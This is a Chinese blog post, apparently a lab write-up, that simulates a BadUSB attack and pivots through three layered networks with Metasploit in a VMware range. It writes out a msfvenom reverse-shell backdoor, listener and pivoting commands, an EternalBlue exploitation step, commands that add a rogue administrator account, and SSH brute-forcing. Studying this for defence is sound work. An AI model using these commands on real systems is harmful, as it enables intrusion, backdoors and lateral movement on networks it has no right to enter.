社工模拟——利用BadUSB穿透3层内网
作为一个安全人员,听过许多社工APT案例,钓鱼邮件、水坑攻击、丢个u盘等等。前段时间在一次培训中了解到BadUSB的攻击方式,可以通过U盘达到控制服务器的效果,在著名的美剧《黑客军团》中也出现了在停车场扔BadUSB来进行钓鱼的场景。
一时好奇,于是尝试模拟一次社工,利用VMware搭建了3层网络靶场,通过BadUSB+MSF的攻击手段,一步一步渗透到第三层网络。
0x01 三层网络靶场搭建
本次模拟实验的网络拓扑如下:
第一层网络,模拟企业办公网,为一台win7的员工办公电脑,第二层网络模拟内网,是一台win2003服务器,第三层网络为企业核心网,为一台Linux服务器。攻击者的攻击机有kali和win10。
我们可以利用VMware搭建出3层网络的网络环境,首先在虚拟机中新建3块网卡,并选择仅主机模式:
我们将kali设为第一层网络vmnet1,在网络适配器中选择自定义vmnet1:
在第一层靶机win7虚拟机设置中添加一个网络,并将两个网络分别设为vmnet1和vmnet2,达到双网卡的效果:
同理,将第二层靶机win2003设为双网卡vmnet2和vmnet3:
最后,将第三层靶机linux的网络设为vmnet3:
至此,我们本次试验的3层网络靶场已经搭建完毕,攻击者的kali只能访问第一层网络,而无法访问第二层和第三层的靶机:
0x02 BadUSB介绍
效果演示
在介绍BadUSB之前,我们先来看一下他的威力,下面的u盘看上去是一个u盘,但其实内部是一个单片机,普通人很容易被迷惑。
我在本地的win10上做了演示,我的系统装了防病毒软件,并且补丁也更新到最新,但当我将上面的u盘查到电脑上的时候,他达到了任意执行命令的效果。
当然上面的操作只是为了演示,我们完全可以利用他来做更多隐蔽的攻击操作。
什么是BadUSB?
简单来说,就是让USB设备伪装成键盘,被插入的电脑猝不及防会被迅速输入一定的“指令”,这个指令会让该电脑迅速成为肉鸡,这个漏洞最早在2014年的BlackHat安全大会上公布。BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。常见的BadUSB
1、TEENSY
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启、是否安装杀毒软件,都可以成功。
2、USB RUBBER DUCKY
简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
制作一款简易BadUSB
制作一款BadUSB我们需要以下工具:
1、BadUSB设备,目前在淘宝有售,我们这里选用的是Digispark,Digispark是一个基于ATTINY85微控制器的USB开发板,体积小且价钱便宜,淘宝有售:https://item.taobao.com/item.htm?spm=a1z09.2.0.0.57db2e8dK2zETX&id=559310622821&_u=b50qdl8ef4d
2、Arduino IDE
Arduino IDE用于烧录代码的编译器,可以将我们的恶意代码烧录到BadUSB中,配置好相关参数,将开发板设为Digispark,编程器设为USBtinyISP:
编写好代码后,我们就可以点击“上传”按钮,然后插入BadUSB设备,一款简易BadUSB就做好了。
0x03 MSF内网渗透
有了上面的BadUSB的知识,我们可以模拟一个社工场景:企业内部人员捡到了一个“u盘”,出于好奇插在了自己的办公电脑上,而这个“u盘”其实是一个BadUSB,插上之后会自动下载攻击者用MSF制作的后门,所以在插上u盘之后,员工的办公电脑就已经被黑客控制,黑客从而可以进一步进行内网渗透、横向扩展。下面我们就来看看如何利用MSF一步一步进行内网渗透:
制作MSF后门:
msf的msfvenom命令可以生成我们所需要的后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 -f exe >shell.exe
其中,192.168.59.128是msf监听端的地址,6666是msf监听端的端口。我们将生成的shell.exe放在卡里搭建的web服务上。
MSF开启监听:
在MSF服务端,我们开启监听,等待win7反弹shell:use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.59.128 set LPORT 6666 exploit
BadUSB烧入攻击程序
根据工作中真实监控的payload套路,我们在BadUSB中烧入如下程序,让第一层靶机Win7自动下载攻击者kali中的制作好的shell.exe,并执行:
这样一来,当win7被插上u盘后,攻击者的msf就获得了一个反弹shell:
meterpreter渗透
Meterpreter是MSF中的一个模块,攻击payload在攻击成功以后给我们返回一个控制通道——Meterpreter shell。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息等等。
我们可以在meterpreter中输入shell获得靶机win7的shell,执行ipconfig,发现第二层网络的网段信息:
为了使得MSF能够继续对第二层网络进行渗透,我们首先需要添加路由表:
metepreter> run autoroute -s 192.168.90.0/24
这样,通往192.168.90.0/24网段的流量通过meterpreter 的session2进行路由。然后,我们在msf启动socks代理:
msf> use auxiliary/server/socks4a msf > set srvhost 192.168.59.128 msf > set srvport 9999 msf > run
这样其他攻击软件可以通过MSF socks代理、添加的路由对第二层渗透。
此时,我们已经可以访问第二层网络192.168.90.0/24了,按照常见的渗透思路,我们会对第二层网络进行扫描探测,看看存活主机有哪些,比如用nmap进行扫描,不过在此之前,我们还需要配置kali中的proxychain,通过proxychain 将nmap的流量通过msf的socks代理,进行第二层的网络扫描。
配置proxychain
修改/etc/proxychains.conf,将里面的服务器和端口设置为msf socksserver的信息:
此时,我们可以利用nmap进行第二层网络的探测:
由于proxychains无法代理icmp的数据包 所以必须添加-Pn -sT参数,即不检测主机是否存活,直接进行端口tcp扫描。
proxychains nmap -Pn -sT -p80,3306,445,3389,22 192.168.90.129-132
通过扫描我们发现了,第二层网络中的靶机地址192.168.90.129,同时开启了80、445、3306、3389端口,因此下一步的渗透可以从这几个端口考虑。 这里有几个思路,可以从80端口找漏洞,尝试上传webshell,3306和3389可以尝试口令爆破,而445端口第一个就会想到大名鼎鼎的MS17-010,永恒之蓝。
永恒之蓝
虽然wannacry事件已经过去一年多了,内网里存在ms17-010漏洞的情况在各个行业并不少见,在这次模拟环境中,第二层网络win2003就存在这个漏洞,我们可以利用msf直接对ms17-010进行利用,拿到shell,配置攻击参数,由于第二层服务器无法直接和攻击者的kali进行通信,所以这里注意payload要设置为bind_tcp,即采用正向代理的模式。
成功攻击,获得meterpreter shell:
拿到system权限,我们可以修改administrator密码,或者新增管理员用户:
net user tinhyfisher tinyfisher /add 添加用户tinyfisher密码为tinyfisher net localgroup administrators tinyfisher /add 将帐号tinyfishe升级为管理员
端口转发
我们看到,第二层的win2003服务器开启了3389,我们可以登录远程桌面,如果没有开启也没关系,我们可以通过下面的命令开启。metepreter>run getgui -e 或者 metepreter>run post/windows/manage/enable_rdp
现在,我们无法直接从最外层访问第二层的3389,我们需要将3389的流量转发出来,从而登录远程桌面:
metepreter> portfwd add -l 7777 -p 3389 -r 192.168.90.129 #将目标机192.168.90.129的3389端口转发到本地kali 7777端口
至此,我们已经可以在自己的攻击机上,远程登录并控制第二层靶机了。第三层网络渗透
同样,我们要进一步对第三层网路进行渗透的话,第一步还是添加到第三层的路由:
然后是利用nmap探测第三层网络端口信息:
开放了80和22端口,思路比较明显,要拿到权限,要么ssh口令爆破,要么从web端找漏洞传webshell。
口令爆破
首先尝试第一个思路,看看ssh是否存在弱口令,我们使用auxiliary/scanner/ssh/ssh_login模块,配置好用户名和字典,开始爆破:
果然存在弱口令123456,直接拿到root权限。
web渗透
我们可以在浏览器中配置kali为代理服务器,从而访问第三层网络:
打开访问,发现是Typecho的博客系统:
对于这种CMS我们的思路一般是直接去互联网搜索CMS的漏洞poc进行测试,这里就不再进一步演示:
至此,我们通过BadUSB让第一层网络中的win7系统下载并运行我们的恶意软件,然后通过MSF利用MS17-010、口令爆破、web渗透等方式穿透三层内网,最终拿下第三层网络系统的权限。常见的渗透思路可以参考下面的脑图:
0x04 总结
本次模拟只是最简单的演示,实际情况会比这个复杂的多,比如目标会安装防病毒软件,因此,当利用BadUSB下载msf后门的时候需要考虑如何免杀,不然很容易被发现;各个网段一般也会做隔离,因此如何找到网络突破口比较难;内部会有各种安全设备,比如IDS、蜜罐、TDA等等,所以真正渗透比本次试验要难的多。
但这里出现的员工安全意识较差,补丁更新不及时、没有安装防病毒软件或者病毒库更新不及时、以及系统存在弱口令的问题在实际工作中也是经常遇到,做好企业安全工作这些基础工作很重要。
最后,通过USB接口攻击的案例很多,BadUSB只是一类,还有通过USB接口横跨PC和Mobile平台进行攻击的案例。我们在日常使用USB设备时,不要使用陌生的USB设备,避免USB存在恶意代码导致安全风险。
本文分享自微信公众号 - 湛卢工作室(xuehao_studio)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
物联网开发服务创建组件图文详解!
云栖号快速入门:【点击查看更多云产品快速入门】不知道怎么入门?这里分分钟解决新手入门等基础问题,可快速完成产品配置操作! 本文介绍如何在组件开发工作台创建组件。 背景信息 在IoT Studio的组件开发工作台开发组件前,需要先创建新组件并进行相关信息设置,用于定义组件名称和功能特性等,便于开发者使用。 新增组件 1.在物联网平台控制台左侧导航栏,单击IoT Studio > 应用开发。2.在快速开始物联网应用开发页面的开发工具模块,单击组件开发。3.在组件开发 > 个人组件页面,单击新建组件。4.在新建组件对话框,设置组件基本信息(见下表)。 5.单击确认。组件创建完成,进入IoT Studio组件开发页面,开始进行个人组件开发,详细内容请参见开发个人组件。 查看组件列表 您可在组件开发 > 个人组件页面,查看到已创建的个人组件列表及组件的相关信息。 您可在搜索框中输入搜索关键词,定位搜索或筛选目标组件。 定位到目标组件,在组件右侧的操作栏支持以下操作: 单击预览,查看组件显示效果。 单击开发进入组件开发页面,编辑或上传组件代码包。有关组件编辑和开发内容,请参见编辑...
- 下一篇
Jenkins 配合 Kubernetes 实现服务持续集成的实践和建议
Kubernetes 本身是一个以服务扩容见长的容器编排系统,如果不能跟其它 CI/CD 工具结合起来,从根本上说还是不能提升开发部署效率,达到持续集成,持续交付的目的,本文以 Jenkins 配合 Kubernetes 完成 Java 服务持续集成和部署过程碰到一些问题,进行说明和总结。 是否需要把 Jenkins 集成 Kubernetes 集群中进行统一管理? 当你在网上搜索 Jenkins 持续集成 dockers/kubernetes 时,80% 答案是在Kubernetes集群中容器化 Jenkins ,在我看来,对于业务服务数量有限的互联网公司,前期的话,不是特别建议把Jenkins直接安装到kubernetes集群当中,特别是在没有使用 Kubernetes 容器云平台之前已经有了自动化构建工具,有以下原因: 首先早阶段开发、测试、生产环境已经部署了Jenkins,已经习惯了这种使用方式,Jenkins本身呢,只是执行一些命令,本身不会耗费太多资源,不需要多个副本和横向扩展的能力,把需要持续交付的服务实现容器化再说吧。 再者如果你把 Jenkins 放到 Kuberne...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Hadoop3单机部署,实现最简伪集群
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- CentOS8安装Docker,最新的服务器搭配容器使用
- Linux系统CentOS6、CentOS7手动修改IP地址
- CentOS7安装Docker,走上虚拟化容器引擎之路
- CentOS8编译安装MySQL8.0.19
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2更换Tomcat为Jetty,小型站点的福音